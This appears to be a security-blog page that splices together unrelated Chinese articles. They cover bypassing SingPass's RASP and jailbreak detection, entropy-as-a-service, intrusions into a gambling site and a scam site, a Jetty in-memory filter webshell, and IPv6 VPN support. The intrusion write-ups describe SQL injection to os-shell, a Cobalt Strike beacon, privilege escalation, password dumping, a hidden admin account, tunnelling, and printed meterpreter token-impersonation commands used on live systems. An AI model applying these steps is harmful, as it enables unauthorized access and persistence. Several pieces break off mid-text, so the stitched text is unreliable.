Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863287222

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

1.png

通過在應用程序的安裝目錄中搜索一些關鍵字,我們實際上得到了兩個結果,它們含有混淆器名稱的信息:

2.png

NuDetectSDK 二進製文件也使用相同的混淆器,但它似乎沒有參與上圖所示的早期越獄檢測。另一方面,SingPass 是應用程序的主要二進製文件,我們可以觀察到與威脅檢測相關的字符串:

3.png

混淆器的名稱已被編輯,但不會影響代碼的內容。

不幸的是,二進製文件沒有洩漏其他字符串,這些字符串可以幫助識別應用程序檢測越獄設備的位置和方式,但幸運的是,應用程序沒有崩潰。

如果我們假設混淆器在運行時解密字符串,則可以嘗試在顯示錯誤消息時轉儲__data 部分的內容。在執行時,用於檢測越獄設備的字符串可能已被解碼並清楚地存在於內存中。

1.我們運行應用程序並等待越獄消息;

2.我們使用Frida 附加到SingPass,並註入一個庫:

2.1在內存中解析SingPass 二進製文件;

2.2轉儲__data 部分的內容;

2.3 將轉儲寫入iPhone 的/tmp 目錄;

一旦數據區被轉儲,__data部分會發生以下變化:

4.png

轉儲前後的__data 部分

此外,我們可以觀察到以下字符串,它們似乎與混淆器的RASP功能有關:

5.png

與RASP 功能相關的字符串

所有的EVT_*字符串都由一個且只有一個我命名為on_rasp_detection的函數引用。這個函數是應用程序開發者在觸發RASP事件時用來執行操作的威脅檢測回調函數。

為了更好地理解這些字符串背後的檢查邏輯,讓我們從用於檢測掛鉤函數的EVT_CODE_PROLOGUE 開始。

EVT_CODE_PROLOGUE:掛鉤檢測當通過彙編代碼接近on_rasp_detection 的交叉引用時,我們可以多次發現這種模式:

6.png

為了檢測給定函數是否被鉤住,混淆器加載函數的第一個字節,並將該字節與值0xFF進行比較。乍一看,0xFF似乎是任意的,但事實並非如此。實際上,常規函數以一個序言開始,該序言在堆棧上分配空間,以保存由調用約定定義的寄存器和函數所需的堆棧變量。在AArch64中,這個分配可以通過兩種方式執行:

7.png

這些指令是不相等的,如果偏移量存在,它們可能會導致相同的結果。在第二種情況下,指令sub SP、SP、#CST 用以下字節編碼:

8.png

正如我們所看到的,該指令的編碼從0xFF開始。如果不是這樣,那麼該函數要么以不同的堆棧分配序言開始,要么可能以一個掛鉤的蹦床開始。由於應用程序的代碼是通過混淆器的編譯器編譯的,因此編譯器能夠區分這兩種情況,並為正確的函數的序言插入正確的檢查。

如果函數指令的第一個字節沒有通過檢查,則跳轉到紅色基本塊。這個基本塊的目的是觸發一個用戶定義的回調,它將根據應用程序的設計和開發人員的選擇來處理檢測:

打印錯誤

應用程序崩潰

破壞內部數據

……

從上圖中,我們可以觀察到檢測回調是從位於#hook_detect_cbk_ptr 的靜態變量加載的。調用此檢測回調時,混淆器會向回調提供以下信息:

1.檢測碼:EVT_CODE_PROLOGUE 為0x400;

2.可能導致應用程序崩潰的受攻擊指針;

現在讓我們仔細看看檢測回調的整體設計。

檢測回調如上一節所述,當混淆器檢測到篡改時,它會通過調用存儲在地址的靜態變量中的檢測回調來做出反應:0x10109D760

9.png

通過靜態分析hook_detect_cbk,實現似乎破壞了回調參數中提供的指針。另一方面,在運行應用程序時,我們觀察到越獄檢測消息,而不是應用程序崩潰。

如果我們查看在該地址讀取或寫入的交叉引用,我們會得到以下指令列表:

10.png

所以實際上只有一條指令,init_and_check_rasp+01BC,用另一個函數覆蓋默認的檢測回調:

11.png

與默認回調相比:hook_detect_cbk(被覆蓋的函數)相比,hook_detect_cbk_user_def不會損壞一個會導致應用程序崩潰的指針。相反,它調用on_rasp_detection函數,該函數引用上圖中列出的所有字符串EVT_CODE_TRACING、EVT_CODE_SYSTEM_LIB等。

通過整體查看init_and_check_rasp函數,我們可以注意到X23寄存器也用於初始化其他靜態變量:

13.png

X23寫入指令

這些內存寫入意味著回調hook_detect_cbk_user_def 用於初始化其他靜態變量。特別是,這些其他靜態變量很可能用於其他RASP 檢查。通過查看這些靜態變量#EVT_CODE_TRACING_cbk_ptr、#EVT_ENV_JAILBREAK_cbk_ptr 等的交叉引用,我們可以找到執行其他RASP 檢查的位置以及觸發它們的條件。

EVT_CODE_SYSTEM_LIB 14.png

EVT_ENV_DEBUGGER

15.png

EVT_ENV_JAILBREAK

16.png

多虧了#EVT_*交叉引用,我們可以靜態地通過使用這些#EVT_*變量的所有基本塊,並突出顯示可能觸發RASP回調的底層檢查。在詳細檢查之前,需要注意以下幾點:

1.雖然應用程序使用了一個商業混淆器,除了RASP之外,還提供了本地代碼混淆,但代碼是輕度混淆的,這使得靜態彙編代碼分析非常容易。

2.應用程序為所有RASP 事件設置相同的回調。因此,它簡化了RASP 繞過和應用程序的動態分析。

反調試SingPass 使用的混淆器版本實現了兩種調試檢查。首先,它檢查父進程id (ppid) 是否與/sbin/launchd 相同,後者應該為1。

17.png

getppid 通過函數或系統調用調用。

如果不是這種情況,它會觸發EVT_ENV_DEBUGGER 事件。第二個檢查基於用於訪問extern_proc.p_flag 值的sysctl。如果此標誌包含P_TRACED 值,則RASP 例程會觸發EVT_ENV_DEBUGGER 事件。

18.png

在SingPass 二進制中,我們可以在以下地址範圍內找到這兩個檢查的實例:

19.png

越獄檢測對於大多數越獄檢測,混淆器會通過檢查設備上是否存在(或不存在)某些文件來嘗試檢測設備是否已越獄。

借助以下幫助程序,可以使用系統調用或常規函數檢查文件或目錄:

20.png

如上所述,我提到__data 部分的轉儲顯示與越獄檢測相關的字符串,但轉儲並未顯示混淆器使用的所有字符串。

通過仔細研究字符串編碼機制,可以發現有些字符串是在臨時變量中即時解碼的。我將在本文的第二部分解釋字符串編碼機制,這樣,我們可以通過在fopen、utimes等函數上設置鉤子,並在這些調用之後立即轉儲__data部分來揭示字符串。然後,我們可以遍歷不同的轉儲,查看是否出現了新的字符串。

21.png

最後,該方法無法對所有字符串進行解碼,但可以實現良好的覆蓋。用於檢測越獄的文件列表在附件中給出。

還有一個檢測unc0ver 越獄的特殊檢查,包括嘗試卸載/.installed_unc0ver:

0x100E4D814:_unmount('/.installed_unc0ver')

環境混淆器還會檢查觸發EVT_ENV_JAILBREAK 事件的環境變量。其中一些檢查似乎與代碼提升檢測有關,但仍會觸發EVT_ENV_JAILBREAK 事件。

22.png

startswith()從逆向工程的角度來看,startswith()實際上是作為一個“or-ed”的xor序列來實現的,以得到一個布爾值。這可能是編譯器優化的結果。你可以在位於地址0x100015684的基本塊中觀察這個模式。

高級檢測除了常規檢查之外,混淆器還執行高級檢查,比如驗證SIP(系統完整性保護)的當前狀態,更準確地說,是KEXTS代碼簽名狀態。

根據我在iOS越獄方面的經驗,我認為沒有越獄會禁用CSR_ALLOW_UNTRUSTED_KEXTS標誌。相反,我猜它是用來檢測應用程序是否在允許這種停用的Apple M1 上運行。

23.png

Assemblyrange:0x100004640–0x1000046B8

混淆器還使用Sandbox API 來驗證是否存在某些路徑:

24.png

通過這個API 檢查的路徑是OSX 相關的目錄,所以我猜它也被用來驗證當前代碼沒有在Apple Silicon 上被解除。例如,下面是使用Sandbox API 檢查的目錄列表:

25.png

Assemblyrange:0x100ED7684(function)

此外,它使用沙盒屬性file-read-metadata 作為stat() 函數的替代方案。

Assemblyrange:0x1000ECA5C–0x1000ECE54

該應用程序通過私有系統調用使用沙盒API 來確定是否存在一些越獄工件。這是非常明智的做法,但我想這並不符合蘋果的安全政策。

代碼符號表此檢查的目的是驗證已解析導入的地址是否指向正確的庫。換句話說,此檢查驗證導入表沒有被可用於掛鉤導入函數的指針篡改。

Initialization: part of sub_100E544E8

Assemblyrange:0x100016FC4–0x100017024

在RASP 檢查初始化(sub_100E544E8) 期間,混淆器會手動解析導入的函數。此手動解析是通過迭代SingPass 二進製文件中的符號、檢查導入符號的庫、訪問(在內存中)此庫的__LINKEDIT 段、解析導出trie 等來執行的。此手動解析填充一個包含已解析符號的絕對地址的表。

此外,初始化例程設置遵循以下佈局的元數據結構:

26.png

symbols_index 是一種轉換錶,它將混淆器已知的索引轉換為__got 或__la_symbol_ptr 部分中的索引。索引的來源(即__got 或__la_symbol_ptr)由包含類枚舉整數的origins 表確定:

27.png

symbols_index和origins這兩個表的長度都是由靜態變量nb_symbols定義的,它被設置為0x399。元數據結構後面跟著兩個指針:resolved_la_syms 和resolved_got_syms,它們指向混淆器手動填充的導入地址表。

每個部分都有一個專用表:__got 和__la_symbol_ptr。

然後,macho_la_syms 指向__la_symbol_ptr 部分的開頭,而macho_got_syms 指向__got 部分。

最後,stub_helper_start/stub_helper_end 保存了__stub_helper 部分的內存範圍。稍後我將介紹這些值的用途。

這個元數據結構的所有值都是在函數sub_100E544E8中進行初始化時設置的。

在SingPass 二進製文件的不同位置,混淆器使用此元數據信息來驗證已解析導入的完整性。它首先訪問symbols_index 和具有固定值的起源:

28.png

由於symbols_index表包含uint32_t值,#0xCA8匹配#0x32A(起源表的索引)當除以sizeof(uint32_t):0xCA8=0x32A * sizeof(uint32_t)。

換句話說,我們有以下操作:

29.png

然後,給定sym_idx 值並根據符號的來源,該函數訪問已解析的__got 表或已解析的__la_symbol_ptr 表。此訪問是通過位於sub_100ED6CC0 的輔助函數完成的。可以用下面的偽代碼來概括:

30.png

比較section_ptr 和manual_resolved 的索引sym_idx 處的條目,如果它們不匹配,則觸發事件#EVT_CODE_SYMBOL_TABLE。

實際上,比較涵蓋了不同的情況。首先,混淆器處理sym_idx 處的符號尚未解析的情況。在這種情況下,section_ptr[sym_idx] 指向位於__stub_helper 部分中的符號解析存根。這就是元數據結構包含本節的內存範圍的原因:

31.png

另外,如果兩個指針不匹配,函數會使用dladdr來驗證它們的位置:

32.png

例如,如果導入的函數與Frida掛鉤,則兩個指針可能不匹配。

在origin[sym_idx]被設置為SYM_ORIGINS:NONE的情況下,函數跳過檢查。因此,我們可以通過用0填充原始表來禁用這個RASP檢查。符號的數量接近元數據結構,元數據結構的地址是由___atomic_load和___atomic_store函數洩露的。

33.png

代碼跟踪檢查代碼跟踪檢查旨在驗證當前沒有被跟踪。通過查看#EVT_CODE_TRACING_cbk_ptr 的交叉引用,我們可以識別出兩種驗證。

GumExecCtxEVT_CODE_TRACING 似乎能夠檢測Frida 的跟踪檢查是否正在運行。這是我第一次觀

由於新的安全解決方案在其熵源方面受到限制,因此確保互聯網上的安全通信對開發人員來說變得越來越困難。那麼開發人員如何提高加密的安全性以保護用戶數據呢?熵即服務可能是一個很好的答案,這就是原因。

在本文中,我們將討論什麼是加密中的熵以及為什麼它值得您關注。本文將對想要了解如何在安全項目中使用熵的開發人員有所幫助。

什麼是熵?在計算中,熵是操作系統或應用程序收集的用於生成需要隨機數據的加密密鑰的信息的隨機性或不可預測性的度量。當使用高級別的熵進行加密時,可以安全地保護用戶數據免受網絡傳輸和存儲設備上的靜態攻擊。

傳統的計算系統著眼於人類與機器的交互,例如鼠標移動、網絡活動和鍵盤輸入的熵。然後將基於軟件熵的不可預測數據轉換為隨機數並用於加密需求。

但除了傳統計算機之外,人們還使用範圍廣泛的其他設備和系統來訪問互聯網。因此,對隨機數據的需求不斷增加,以緩解嵌入式系統漏洞以及雲計算環境和物聯網(IoT) 設備中的安全問題。相比之下,基於雲的系統和創新設備在與用戶的交互方面受到限制,因此它們無法產生足以滿足加密需求的基於軟件的熵。讓我們在下一節中詳細探討熵安全性。

為什麼熵如此重要? 2012 年之前,幾乎沒有人考慮過基於軟件的熵問題。隨後,來自加州大學聖地亞哥分校和密歇根大學的一組研究人員發現,RSA 和DSA 不再生成安全密鑰。在研究期間,研究人員調查了防火牆和路由器等互聯網設備中使用的公鑰的安全性。結果表明,大多數SSH 和TLS 服務器都包含很容易猜到的公鑰。此外,研究人員非常驚訝地發現10% 的SSH 密鑰和5% 的HTTPS 密鑰是重複的。

這樣做的原因是聯網設備資源受限,並且與用戶的交互也受到限制。物聯網設備的開發基於軟件產生的熵足以用於密碼學的假設,但這種方法似乎無效。從我們關於物聯網安全挑戰的文章中可以看出,具有可猜測加密密鑰的物聯網設備可以很容易地從有用資產轉換為間諜工具。

此外,基於雲的系統不與用戶硬件交互。相反,雲服務提供商使用來賓虛擬機的單一黃金映像,並創建多個實例以響應用戶需求。然而,這些實例產生熵的能力非常有限。因此, 雲計算也正成為網絡攻擊的誘人載體。

因此,尋找可靠的真實熵源成為了開發者非常頭疼的問題。雖然高質量熵的不足越來越多,但傳統的熵生成軟件方法在應用於現代計算系統時會失敗。儘管專家建議使用確定性隨機位生成器生成加密密鑰,但存在這樣的風險,即提供給這些生成器用於密鑰開發的初始值或種子很容易被網絡犯罪分子追踪和破壞。

此問題的一種可能解決方案是找到可以由生產環境中的多個應用程序安全共享的外部熵源。

熵即服務考慮到對隨機數據日益增長的需求,美國國家標準與技術研究院(NIST) 提議開發一種新的服務來為應用程序和設備開發人員提供高質量的熵:熵即服務。

什麼是熵即服務(EaaS)? EaaS 是一種創新的互聯網服務,旨在為物聯網設備、嵌入式系統和雲服務提供商提供高質量的熵源。這些熵源基於可以提供真正隨機性的環形振盪器或量子設備的物理過程。開發人員可以使用EaaS 為他們的應用程序或設備播種高質量的熵,並確保他們的產品受到強有力的保護,免受網絡攻擊。

NIST 的EaaS 架構NIST 提供了一種為內置於設備和應用程序中的隨機數生成器(RNG) 提供種子的安全方法。 NIST 建議開發人員配置他們的應用程序和設備,以將對必要字節數的隨機數據的HTTP GET 請求發送到熵即服務服務器,並使用相關的熵即服務協議接收新生成的隨機數據。根據NIST,EaaS 系統應具有以下組件:

量子熵裝置

EaaS 服務器

客戶端系統中的硬件信任根設備

image.png

EaaS 服務器不斷從附加的量子設備接收熵並將其安全存儲。當它收到來自客戶端系統的請求時,服務器會在將其發送給請求者之前對其新的隨機數據進行簽名和加密。數據的新鮮度通過UTC 時間戳確認,客戶端可以通過將其與本地機器的時間進行比較來驗證該時間戳。數字簽名確保種子的真實性和來源。此外,隨機數據的加密是使用特定於每個客戶端的唯一公鑰和服務器自己的私鑰執行的。

客戶端系統應該有一個帶有安全硬件組件的經典計算設備,用於存儲加密密鑰和種子(例如TPM、Intel IPT 或ARM TrustZone)。此外,還應配備保證EaaS服務器與客戶端硬件組件通信的應用軟件。客戶端系統或設備不一定要有專用硬件,但它的可用性將使種子存儲更加安全。

EaaS 服務器不向其客戶端提供加密密鑰;它僅以安全的方式為客戶的RNG 提供獨特的種子。但是您不需要只信任一個EaaS 提供商;NIST 建議使用來自多個EaaS 服務器的響應來播種應用程序。 EaaS 架構是可擴展的,可以包括全球數以千計的EaaS 服務器,這對於建立集體權威和保持架構的開放性和專家可見性非常重要。

為確保完美的前向保密性,開發人員可以將從EaaS 服務器獲得的隨機數據與本地生成的偽隨機數據(使用哈希)或從另一個EaaS 服務器接收的數據混合。

EaaS供應商市場上有越來越多的成功熵即服務解決方案的例子。例如,美國加密安全解決方案開發商Whitewood 為現場軟件提供免費的熵即服務解決方案,並為永久許可或基於消費的模型提供付費選項。懷特伍德創建了netRandom 軟件,該軟件從熵引擎接收隨機數據,並為操作系統、物聯網設備和虛擬機提供獨特的種子材料。

加拿大網絡安全公司Crypto4A 也在其量子就緒解決方案中實施了NIST 的所有建議。這個熵即服務提供商使用專門開發的硬件安全模塊來實現多個熵源,並為NIST SP-800-90 隨機數生成器設計提供基於量子的數據。他們的模塊確保為公司客戶提供必要級別的加密機密性和服務真實性。

澳大利亞安全公司Quintessence Labs 現在正在嚴格測試其qStream 產品,該產品可為偽隨機數生成器高速提供量子生成的熵。該公司開發了一種有效的熵管理系統,該系統符合KMIP 和FIPS 140-2 級別3。

EaaS 對開發人員的好處EaaS 對應用程序和設備開發人員非常有益,他們不再需要為尋找自己的安全熵源而絞盡腦汁。相反,他們可以更快地推出產品,並確保設備和應用程序能夠安全地保護用戶數據。 EaaS 讓新產品能夠從基於互聯網的架構中獲得真正的熵。這種方法允許開發人員始終使用真正的熵來更新他們的產品,以生成最強大的密碼學,並確保他們的解決方案能夠抵禦現代網絡攻擊。

此外,熵即服務解決方案還可用於企業評估其公司係統的安全性。在EaaS 的幫助下,公司可以證明從來自其基於軟件的資源的數據生成的密鑰的強度。此外,如果企業希望完全確保其數據庫受到保護,還可以使用EaaS 為其端點獲取熵。

至於熵在雲環境中的使用,EaaS 可以幫助避免從公共黃金映像創建的兩個虛擬機實例複製其本地熵池的情況。為避免這種情況,鏡像在克隆後只需要在啟動時從EaaS 服務器請求新的隨機數據。

結論熵即服務是一種新的基於雲的服務,允許開發人員獲得對用戶數據進行強加密所需的高質量熵。該服務滿足了對基於雲的應用程序以及嵌入式和物聯網設備的需求。在密碼學中使用熵是增強解決方案的可靠方法。雖然EaaS 不生成加密密鑰,但它以安全的方式為隨機數生成器提供唯一的種子。

前言

昨天半夜看到一篇文章 某菠菜网站渗透实战

就想着自己也练一练手,打到一半发现,大师傅们对这类站点已经狠狠的蹂躏了,所以借鉴师傅们的经验,本着锻炼一下,想到哪就记一下,所以写的比较杂乱,其中有没有解决的地方也记录下来的,然后又换了个站点接着走了下去

信息收集

前台这样

Image

看一下其他的信息

Image端口查询

Image80为主页面 81 82 为后台登录界面 1433 mssql
Image目录扫描

Image存在目录遍历

Image

漏洞发掘

先去后台页面

输入用户名:123提示用户不存在
输入用户名:admin提示用户或密码不正确

确认admin账号,且没有验证码验证,可尝试爆破

直接弱密码 admin 123456 进入后台

Image功能不多,利用点也没什么

重新回到登录处进行sql注入

ImageImagemssql,dba权限,直接–os-shell

Image这里第一台机器不出网且没回显,放弃了,找了几个站终于找到一个出网且回显的网站(只要出网就挺好解决的)

Image

Image

CS上线

这里尝试CS,判断出网直接生成powershell上线

ImageImageImage看一下信息,查一下tasklist

Image目前是数据库权限,尝试提权,结果直接打掉线,网站也打不开了,还是要慎用,做足信息收集,做足补丁信息的收集

Image又换了一个站点:找到网站路径

Image先拿个webshell

Image哥斯拉顺手甜土豆提权为 system

ImageCS插件甜土豆也提权成功

Image

抓一下管理员密码

logonpasswords

付费的

Image加个影子账户,管理员权限

Image

公网CS通过frp转到内网MSF

先上文章吧 FRP+CS实现本地Kali收Shell

服务端(这里为5000,改完忘截图了)

Image客户端

ImageMSF开启监听

ImageCS

Image

后续

看能不能通过窃取Token以管理员身份登录

getuid //查看当前token
use incognito //加载incognito
list_tokens -u //列出accesstoken
impersonate_token “xxxxxxx\administrator” //模拟管理员用户
rev2self //返回之前的accesstoken权限

Image假冒一下令牌

Image但是进入shell的时候不是管理员身份,以system身份查找当前进程,迁移到管理员的进程中

再进入shell

ImageImage然后我还是想 RDP上去但是又没有密码,想到之前看过的一篇文章进行RDP会话劫持:

内网渗透 | RDP会话劫持实现未授权登录

内网漫游:通过RDP劫持向远程系统执行任意代码

最后时间太晚了,就又换了一个站点,成功抓取到密码

ImageRDP直接上去

Image


转载于原文链接: https://mp.weixin.qq.com/s/isk1bmYOuR_79QOBDlwFZQ?ref=www.ctfiot.com

0x00 前言

去年逛微步,本来是想找几个ip练练溯源能力,无意间发现了一个杀猪盘。本文打马赛克如果有漏的地方请及时指出,也请各位不要去微步上边找我这个目标复现,本case已全权交由某官方处理。

0x01 简单的打点

Image

打开链接一看,一股子浓浓的“微盘”气息扑面而来,由于我们自己审计过这套源码,所以就直接找对应的地方打了个xss,结果呢他这竟然是微盘三开,没错,三开!

无奈之下还是用老思路,想办法让框架报错,看版本号,走一遍rce。

Image

得到版本号和物理路径,其实还有个小细节,可以看下图。

Image

这里有个SERVER_NAME和SERVER_ADDR,之前打同类项目的时候遇到过一个情况,通过让页面报错反馈出来的这俩信息里可能会带着真实ip,如果在找不到目标真实ip的情况下可以试试这个小技巧。

大家都知道,这种目标,其他的旁站,端口什么的收集都没啥卵用,所以我也不赘述了。

注册个账号上去看了看,也没啥能利用的点,这时候呢突然想起了goods/pid这里有一处注入,由于之前都是用我们自己的day打,所以从来没用过这个注入点,这不今天就来试了试。

Image

bingo!这就很奈斯了,知道物理路径那不就可以传shell了?不,并不可以,权限不够。

但是你看我发现了啥呢!

Image

database的信息莫名其妙显示出来了,这不就可以直接连了??显然是不可以的,因为没法外连。。。。。

0x02 直冲云霄了属于是

大概僵持了十分钟,你看看我发现了啥。

Image

adminer哈哈哈,这是咋发现的呢,之前提到过这套系统的一开,二开我们都审计过,在某些特定目录会有这么一个adminer数据库管理系统,所以我就也从本次目标上fuzzing了一下,这不就找到,然后连接上了。

找到嫌疑ip,简单的查查真实性,定定位啥的。

Image

果不其然,又在我们的大云南。

为了确保证据的完整性,我们还是得想办法去后台截个图啥的。因为现在是在库里嘛,所以就可以直接把盲打xss没成功的地方强制改成了xss的payload,然后诱导客服去触发就好了。

Image

Image

Image

然后就进来咯,后台的上传点在三开版本也给删了,数据库里拿shell权限不够,也开启不了所需的服务,所以最终也没能拿下shell。



转载于原文链接: https://mp.weixin.qq.com/s?__biz=Mzg4MjcxMTAwMQ==&mid=2247486198&idx=1&sn=e41bc5d7e4aee7314beaab7f5830435d&chksm=cf53ca40f8244356493dff79a82e26a8c3ef89c50c4508de61cacf523527534d383e6d6b2445&scene=178&cur_album_id=2831511688645656580#rd

0x00 前言關於Tomcat Filter型內存馬的介紹資料有很多,但是Jetty Filter型內存馬的資料很少,本文將要參照Tomcat Filter型內存馬的設計思路,介紹Jetty Filter型內存馬的實現思路和細節。

0x01 簡介本文將要介紹以下內容:

Jetty調試環境搭建

實現思路

實現代碼

Zimbra環境下的Filter型內存馬

0x02 Jetty調試環境搭建1.png

0x03 實現思路相關參考資料:

https://github.com/feihong-cs/memShell/blob/master/src/main/java/com/memshell/jetty/FilterBasedWithoutRequest.java

https://blog.csdn.net/xdeclearn/article/details/125969653

參考資料1是通過JmxMBeanServer獲得webappclassloaer,進而通過反射調用相關方法添加一個Filter

參考資料2是通過Thread獲得webappclassloaer,進而通過反射調用相關方法添加Servlet型內存馬的方法

我在實際測試過程中,發現通過JmxMBeanServer獲得webappclassloaer的方法不夠通用,尤其是無法在Zimbra環境下使用

因此,最終改為使用Thread獲得webappclassloaer,進而通過反射調用相關方法添加Filter型內存馬。

0x04 實現代碼1.添加FilterJetty下可用的完整代碼如下:

2.png 3.png 4.png 5.png 6.png

2.枚舉Filter 7.png 8.png(2)通過Thread獲得webappclassloaer,通過反射讀取_filters屬性來枚舉Filter

9.png0x05 Zimbra環境下的Filter型內存馬在Zimbra環境下,思路同樣為使用Thread獲得webappclassloaer,進而通過反射調用相關方法添加Filter型內存馬

但是由於Zimbra存在多個名為WebAppClassLoader的線程,所以在添加Filter時需要修改判斷條件,避免提前退出,在實例代碼的基礎上直接修改即可

0x06 利用思路Filter型內存馬的優點是不需要寫入文件,但是會在服務重啟時失效

0x07 小結本文介紹了Jetty Filter型內存馬的實現思路和細節,給出了可供測試的代碼,分享了Zimbra環境的利用方法。

隨著聯網設備數量的不斷增加,對互聯網協議(IP) 地址的需求已經超過了互聯網協議版本4 (IPv4) 地址的供應,導致採用互聯網協議版本6 (IPv6) 來減少加載IPv4 地址。

在您的虛擬專用網絡(VPN) 服務中使用IPv6 可以幫助您實現更好的安全性、支持更多功能並訪問更大的地址空間。該協議可以讓您的解決方案面向未來,使其能夠在特定的5G 網絡中運行,並支持支持IPv6 的企業和專用網絡。

在本文中,我們在解釋了IPv4 和IPv6 協議之間的差異後展示瞭如何將IPv6 支持添加到應用程序VPN。在我們的示例中,即使我們無法直接訪問IPv6 網絡,我們也會通過網絡地址轉換64 (NAT64) 添加IPv6 支持,並解釋NAT64 在IPv6 中的作用。您可以在可能無法對網絡進行細粒度控制的受限環境中使用我們在此處介紹的方法。受限環境是指只有IPv6 或IPv4 網絡可用的環境。在這樣的環境中,不可能到達存在於不受支持的地址空間中的某些目標服務器。

虛擬專用網絡簡介VPN 技術允許多台計算機通過軟件定義的虛擬網絡在互聯網上安全、私密地連接。這些虛擬網絡的創建獨立於底層物理網絡基礎設施的物理拓撲。您可以通過以下步驟實現此目的:

通過物理網絡打包和中繼VPN 數據包的虛擬網絡接口之間的隧道流量

將整個過程抽象為VPN 客戶端

這是一個簡單的VPN 設置示例:

image.png

基本的VPN 設置

在此設置中,如果客戶端設備1 想要向客戶端設備2 發送數據,則會發生以下情況:

客戶端設備1 可以使用10.0.0.2 地址通過其VPN 接口向VPN 服務器發送數據包。

接口查詢其配置信息並確定數據包的下一個目的地。當接口必須將數據包發送到另一台物理主機時,作為VPN 服務器的網絡適配器的物理接口將連同標頭一起傳輸整個數據包。

這個新數據包包含物理網絡的路由信息。

目標主機收到新數據包,解包原來的VPN 數據包,並以同樣的方式繼續路由。

這是包裝後的數據包的樣子:

image.png

包裹的VPN 數據包

請注意,VPN 接口的軟件實現生成物理接口的數據包,允許它在VPN 數據包被路由之前執行其他操作。例如,物理接口的數據包可以加密整個有效載荷,這樣物理主機就無法訪問嵌套的VPN 數據包,這是一個封裝在另一個VPN 數據包中的數據包。

這種在路由數據包之前嵌套數據包的想法也可以應用於常規數據包。以下是這個想法在這種情況下的工作方式:

VPN 服務要求操作系統通過其虛擬接口路由數據包。

VPN 接口根據其配置文件路由數據包。

例如,VPN 接口可以將數據包發送到VPN 服務器,VPN 服務器解壓縮到達的數據包,將它們代理到原始目的地,然後將響應返回給VPN 客戶端。

大多數人在考慮VPN 的工作原理時都會想到這種情況。虛擬專用網絡允許對客戶端的出站流量進行加密和代理,以提供額外的安全級別並向客戶端的互聯網服務提供商(ISP) 隱藏信息。

VPN 是在通信協議、加密和身份驗證的幫助下實現的,這些協議有助於在Internet 上安全地加密和傳輸數據。在下一節中,我們將討論哪些通信協議對於實施VPN 解決方案至關重要。

IPv4 和IPv6 概述及其與VPN 的連接大多數VPN 實施在開放系統互連模型的網絡層上運行。根據這個模型,VPN 實現處理IP 數據包並處理它們的路由。這需要VPN 網絡接口背後的軟件來實現Internet 協議,也可能需要一些傳輸層協議。

網絡協議是一組規則,描述數據的結構以及對等方應如何處理它。互聯網協議是一種特定的網絡協議,可以使互聯網上的設備之間進行通信。使用VPN 時,您通常需要使用多種協議,例如Internet 協議或傳輸控制協議(TCP),這些協議有助於通過Internet 在設備之間進行安全通信。 VPN 中使用IPv4 和IPv6 在設備之間傳輸數據。此外,已實現的TCP 可以根據從網絡接收到的原始字節重建TCP 數據包,並創建符合TCP 規則的新TCP 數據包。

實現一個網絡通信協議通常包括以下步驟:

編寫用於創建和解析數據包的函數

實現一個狀態機,它根據處理過的數據包的內容而改變

傳送數據包的方法不是協議的一部分,可以在協議實現過程之外進行處理。

現在,讓我們仔細看看兩個特定的協議:IPv4 和IPv6。這些是主要的互聯網協議,其中IPv4 是最常用的,而IPv6 是最新的。

IPv6 與IPv4:有何區別? IPv4是目前世界上使用最廣泛的協議,儘管它不是Internet 協議的最新版本。 IPv4 地址是32 位數字,以十進製表示法表示為由點分隔的四組數字;例如,192.168.0.1。

IPv4 最多支持大約43 億個唯一地址,因為地址字段只有4 個字節(或32 位)長。 IPv6使用128 位地址並提供更大的地址空間。這是IPv6 相對於IPv4 的主要優勢。由於連接互聯網的設備數量早已超過40 億大關,IPv4 的地址空間已經完全耗盡。在IPv6 網絡中,可能的地址數量為2^128,或大約340 六十億,大約是43 億的79 萬億倍。通過IPv4 網絡傳輸IPv6 流量還有幾個重要的好處:

image.png

IPv6 與IPv4 相比的優勢

基本IPv6 標頭僅包含協議運行的最重要信息。如果對等方需要在標頭中攜帶額外信息,他們可以將各種可選標頭鏈接在一起。這種方法減少了協議最常見用例的開銷,例如從A 向B 發送數據包。

image.png

IPv4 與IPv6 標頭

現在您已經知道切換到IPv6 協議的主要好處,讓我們來看看如何在IPv4 基礎設施上路由IPv6 流量。

使用IPv6 提高VPN 安全性要介紹任何協議,您需要閱讀文檔並實現狀態機和處理特定於所選協議的數據包的功能。但在此步驟中,您可能還會遇到一些問題。讓我們看一下在VPN 服務中實現IPv6 支持的標準機制。

當您允許來自IPv4 的IPv6 流量時,您可以實現以下目標:

允許客戶端應用訪問IPv6 網絡上的服務器

支持純IPv6 環境中的網絡

實施IPv6 協議的過程很簡單。 VPN 服務從其由操作系統管理的虛擬網絡接口獲取所有客戶端數據。此數據包括實際的協議標頭,直到VPN 服務必須處理的IP 標頭。 VPN 服務還必須能夠根據從虛擬網絡接口接收到的信息構建響應數據包。

使用IPv6 協議,處理數據包相當簡單:

VPN 服務會存儲原始標頭,直到它從目標服務器獲取響應。

VPN 服務通過交換源地址和目標地址並更新與負載相關的字段來重用標頭來構造響應數據包。

新標頭添加到響應數據之前,並寫回虛擬接口供操作系統處理。

您還可以使用其他編程語言在您的應用程序中實現VPN 服務,例如C/C++、Java、Python 和Rust。在本文中,我們探索了VPN 服務的Kotlin實現。當您需要實施每應用VPN 時,Kotlin 有一些好處,它允許您為每個應用創建單獨的VPN 連接以隔離網絡流量:

image.png

假設我們的VPN 服務可以直接訪問虛擬網絡接口的文件描述符。該服務通過多個套接字轉發數據包的有效負載,將數據包代理到外部世界。套接字本身和相關的元數據存儲在會話抽像中。然後,數據包由SessionHandler類處理。

以下是SessionHandler類在處理數據包時所做的事情:

解析數據包

根據存儲在相應會話中的信息決定如何處理它們

轉發數據包的內容

處理響應

在將響應放回網絡接口之前為客戶端重新打包響應

image.png

由於虛擬網絡接口由文件描述符表示,因此從中接收數據包就像從常規文件中讀取數據一樣容易:

image.png

原始字節很難處理,尤其是當您需要將它們解釋和操作為複雜的數據結構(如協議標頭)時。在Kotlin 中,可以創建可以解釋原始字節並提供用於更改標頭字段的簡單接口的精簡包裝器。此類包裝器提供與標頭中每個字段相對應的函數,提供對它們的輕鬆讀寫訪問。

您還可以將所有這些函數轉換為具有自定義getter 和setter 的字段。在這種情況下,使用包裝器的客戶端代碼看起來就像在操作常規數據類。 IP 標頭的包裝器如下所示:

classIPWrapper(bytes:ByteArray){

